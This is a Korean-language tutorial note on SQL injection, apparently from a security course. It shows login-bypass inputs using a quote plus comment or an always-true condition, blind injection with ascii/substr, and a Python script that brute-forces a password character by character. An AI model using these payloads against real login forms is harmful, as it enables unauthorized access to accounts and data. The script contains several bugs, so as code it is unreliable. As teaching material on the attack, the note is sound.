ServerSide : SQL Injection
ServerSide : SQL Injection
DMBS에서 관리하는 데이터베이스에는 민감한 정보가 포함될 수 있다. 공격자는 데이터베이스 파일 탈취 SQL Injection 공격 등으로 해당 정보를 확보하고 악용할 수 있다.
오늘은 DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 SQL Injection에대해 배운다.
그 전에 Injection은 주입이라는 의미를 가진 단어로 인젝션 공격은 이용자의 입력값이 처리과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점이다.
SQL Injection
SQL 은 DBMS에 데이터를 질의하는 언어이다. 웹 서비스에는 이용자의 입력을 SQL 구문에 포함해 요펑하는 경우가 있다(ex: 로그인, 게시글).
아래 코드는 로그인 할 때 애플리케이션이 DBMS에 질의하는 쿼리이다.
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
쿼리문을 살펴보면 이용자가 입력한 “dreamhack”과 “password”문자열을 SQL 구문에 포함이 된다. 이렇게 문자열을 삽입하는 행위를 SQL Injection이라고 한다. SQL Injection 이 발생하면 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있다.
아래 쿼리문은 SQL Injection으로 조작한 쿼리문이다.
SELECT * FROM accounts WHERE user_id='admin'
쿼리문을 보면 user_pw의 조건문이 사라진걸 알 수 있다. 조작한 쿼리문을 통해 질의하면 DBMS는 ID 가 admin인 계정의 비밀번호를 비교하지않고 해당 계정의 정보를 들고 온다.
주석이나 항상 참이되는 값을 이용해서 쿼리문을 조작 할 수 있다.
uid 와 upw를 입력받는 모듈이 있고, 코드가 아래와 같을 때
Select uid from user_table where uid='' and upw=''
문자열을 구별하기 위해 ‘ 문자를 사용하고 있기 때문에 uid 입력값에 admin’을 입력하면 뒤에 문장들은
Select uid from user_table where uid='admin'' and upw=''
처럼 바뀐다.
뒤에 주석 #을 추가해 뒷 내용을 주석화 할 수 있다.
혹은 admin’ or ‘ 을 입력해 뒷내용이 항상 참으로 만들 수 있다.
Blind SQL Injection
Blind SQL Injectio이라는 다른 공격기법으로 데이터베이스의 내용을 알 수 있다.
해당 공격 기법은 스무고개 게임과 비슷한 방법으로 질문을 해서 답변을 얻어 알아내는 방법이다.
ascii 값과 substr 함수로 Blind SQL Injection 을 할 수 있다.
substr 함수
substr(string , position, length)
substr('ABCD',1,1)='A'
substr('ABCD',2,2)='BC'
공격 코드
# 114='r',115='s'
SELECT * FROM user_table WHERE uid = 'adim' and ascii(substr(upw,1,1)) = 114 --' and upw=' '
#False
Blind SQL Injection 공격은 하나하나 값을 비교해야되기 때문에 비교적 오랜 시간이 걸린다는 단점이 있다. 이를 해결하기 위해 Python 코드로 자동화해 얻을 수 있다.
import requests
import string
url = 'http://example.com/login'
params = {
'uid':''
'upw':''
}
tc = string.ascii_letters + string.digits + string.punctuation
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
pasword = ''
for idx in range(0,20):
for ch in tc:
params['uid'] = query.format(idx=idx,val=ord(ch)).strip("\n")
c = requests.get(url,params=params)
print(c.requests.url)
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
댓글남기기